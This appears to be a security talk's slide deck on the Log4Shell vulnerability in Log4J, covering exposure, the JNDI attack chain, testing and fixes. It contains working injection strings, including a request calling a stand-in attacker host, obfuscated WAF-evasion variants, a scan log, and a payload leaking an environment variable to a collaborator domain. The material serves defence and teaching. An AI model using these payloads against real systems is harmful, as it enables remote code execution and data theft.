

Quick Update and Discussion Around Recent Log4J Security Issues

Log4Shell

Matt Konda

@mkonda

mkonda@jemurai.com

mkonda@securityprogram.io



J E M U R A I

Are you vulnerable?

- ❖ Do you build an app that runs in a JVM?
 - ❖ Eg. Java, Kotlin, Scala, Clojure?
- ❖ Do you use Log4J? (Even if it is wrapped?)
 - ❖ What version?
- ❖ Do you use tools that use Java?
 - ❖ Eg. Elastic Search?
- ❖ Do you use services that use Java?
 - ❖ Metabase, Okta, TeamViewer, LastPass (See references!)
- ❖ Could be something you think of as Client Side Java (eg. NewRelic Agent, Minecraft)



Detail

- ❖ Unauthenticated
- ❖ Log message contains bad string
- ❖ Log4J does something fancy
- ❖ Deserialize malicious Java
- ❖ Send local data to remote host

The log4j JNDI Attack and how to prevent it

An attacker inserts the JNDI lookup in a header field that is likely to be logged.

```
GET /test HTTP/1.1
Host: victim.xa
User-Agent: ${jndi:ldap://evil.xa/x}
```



❌ BLOCK WITH WAF

The string is passed to log4j for logging

```
"${jndi:ldap://evil.xa/x}"
```

❌ PATCH LOG4J

Vulnerable log4j implementation

log4j interpolates the string and queries the malicious LDAP server.

```
ldap://evil.xa/x
```

❌ DISABLE JNDI LOOKUPS

Attacker



Vulnerable Server
http://victim.xa



Malicious LDAP Server
ldap://evil.xa



❌ DISABLE REMOTE CODEBASES

```
public class Malicious implements Serializable {
    ...
    static {
        <malicious Java code>
    }
    ...
}
```

JAVA deserializes (or downloads) the malicious Java class and executes it.

```
dn:
javaClassName: Malicious
javaCodebase: http://evil.xa
javaSerializedData: <...>
```

The LDAP server responds with directory information that contains the malicious Java class



What it looks like...

- ❖ `{jndi:ldap://[attacker site]/a}`
- ❖ `{jndi:ldap://${sys.os.name}.randomtargetguid.domainyoucanwatch.com}`

- ❖ `{jndi:${lower:l}${lower:d}a${lower:p}}`
- ❖ `(${::-j}${::-n}${::-d}${::-i})`

- ❖ Scanning:
 - ❖ A.B.C.D - - [13/Dec/2021:00:00:00 +0000] "GET /?x={jndi:ldap://{hostName}.c6quk3p5g22ot0u2gn20cg5eh8yyrzijn.interactsh.com/a} HTTP/1.1" 503 190 "{jndi:\${lower:l}\${lower:d}\${lower:a}\${lower:p}://{hostName}.c6quk3p5g22ot0u2gn20cg5eh8yyrzijn.interactsh.com}" "\${::-j}\${::-n}\${::-d}\${::-i}:\${::-l}\${::-d}\${::-a}\${::-p}://{hostName}.c6quk3p5g22ot0u2gn20cg5eh8yyrzijn.interactsh.com}" 439 0.000 [service-80] [] - - - - a3848a784ba283bf297a8c06e6f3fa54

- ❖ Exploitation will have a more nefarious payload ... potentially pulling down code.



How we test

- ❖ Scanning

- ❖ Send different format strings, note that they are nestable

- ❖ Run a burp collaborator and see if we can see the dns ping come through.

- ❖ If it does, does it also have the evaluated data?

- ❖ `${jndi:ldap://${env:USER:-jdoe}.2ruqt5egz2mwoil6xh9b2j887zdp1e.burpcollaborator.net/aaa}`

- ❖ `${sys:user.name}`

- ❖ `${sys:os.name}`

- ❖ This doesn't prove that it will run remote code, but it proves our string is being sent to Log4J and triggering the JNDI lookup.

- ❖ Code

- ❖ Dependency check / Syft / Gype

- ❖ With code, look for hashes, eg. with <https://github.com/hillu/local-log4j-vuln-scanner>



Fixes

- ❖ Update to 2.16.0 (New as of 12/14)
- ❖ Log4J versions 2.10 to 2.14.1 : `-Dlog4j2.formatMsgNoLookups=true`
- ❖ Or Log4j 2.10 to 2.14.1 set the `LOG4J_FORMAT_MSG_NO_LOOKUPS="true"`
- ❖ `kubectl set env LOG4J_FORMAT_MSG_NO_LOOKUPS="true"`
- ❖ For older releases from 2.0-beta9 to 2.10.0, remove the JndiLookup class from the classpath: `zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class`

What you want to be able to say

- ❖ We had a subset of systems that were vulnerable. (V)
- ❖ We patched Log4J to 2.16.0 everywhere possible (N/V).
- ❖ We set JVM flags / configurations on others (M/V) to prevent lookups.
- ❖ We removed the JNDILookup class altogether on some (O/V) where older Log4J was still in use.
- ❖ $N + M + O = V$
- ❖ We leveraged WAF rules to detect and block the malicious payloads.
- ❖ We reviewed our logs (30 days back) to detect abuse and found none or scanning or exploitation.
- ❖ If there was exploitation, this is what we have done about it.
- ❖ We further re scanned systems to ensure that none of our endpoints were vulnerable.
- ❖ We also checked our vendors.
- ❖ *Some orgs blocked actors (by IP) that have been seen in the wild sending malicious payloads based on intel feeds. Requires a trusted feed and configurable FW and probably will change a lot.*



References

- ❖ <http://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-44228>
- ❖ <https://logging.apache.org/log4j/2.x/security.html>
- ❖ <https://www.govcert.ch/blog/zero-day-exploit-targeting-popular-java-library-log4j/>
- ❖ <https://www.microsoft.com/security/blog/2021/12/11/guidance-for-preventing-detecting-and-hunting-for-cve-2021-44228-log4j-2-exploitation/>
- ❖ <https://www.fastly.com/blog/digging-deeper-into-log4shell-0day-rce-exploit-found-in-log4j>
- ❖ <https://msrc-blog.microsoft.com/2021/12/11/microsofts-response-to-cve-2021-44228-apache-log4j2/>
- ❖ <https://github.com/fullhunt/log4j-scan>
- ❖ <https://github.com/zaproxy/zap-extensions/blob/main/addOns/ascanrulesAlpha/src/main/java/org/zaproxy/zap/extension/ascanrulesAlpha/Log4ShellScanRule.java>
- ❖ <https://gist.github.com/SwitHak/b66db3a06c2955a9cb71a8718970c592?s=03>
- ❖ <https://www.infoq.com/news/2021/12/log4j-zero-day-vulnerability/>
- ❖ <https://www.techsolvency.com/story-so-far/cve-2021-44228-log4j-log4shell/>
- ❖ <https://github.com/hillu/local-log4j-vuln-scanner>
- ❖ <https://github.com/anchore/syft/>
- ❖ <https://aws.amazon.com/blogs/security/open-source-hotpatch-for-apache-log4j-vulnerability/>
- ❖ <https://logging.apache.org/log4j/2.x/manual/migration.html>

